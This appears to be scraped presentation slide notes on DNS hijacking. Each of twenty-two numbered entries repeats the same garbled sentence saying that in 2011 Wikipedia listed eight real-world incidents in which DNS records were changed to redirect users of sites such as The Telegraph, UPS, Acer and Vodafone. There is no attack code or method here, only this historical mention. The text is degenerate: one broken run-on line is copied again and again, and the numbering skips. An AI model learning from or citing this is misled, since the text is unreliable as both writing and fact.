  • #34: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #35: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #36: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #37: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #38: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #39: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #40: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #41: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #42: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #43: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #44: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #45: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #46: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #47: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #48: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #49: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #50: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #51: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #52: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #56: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #57: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #58: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)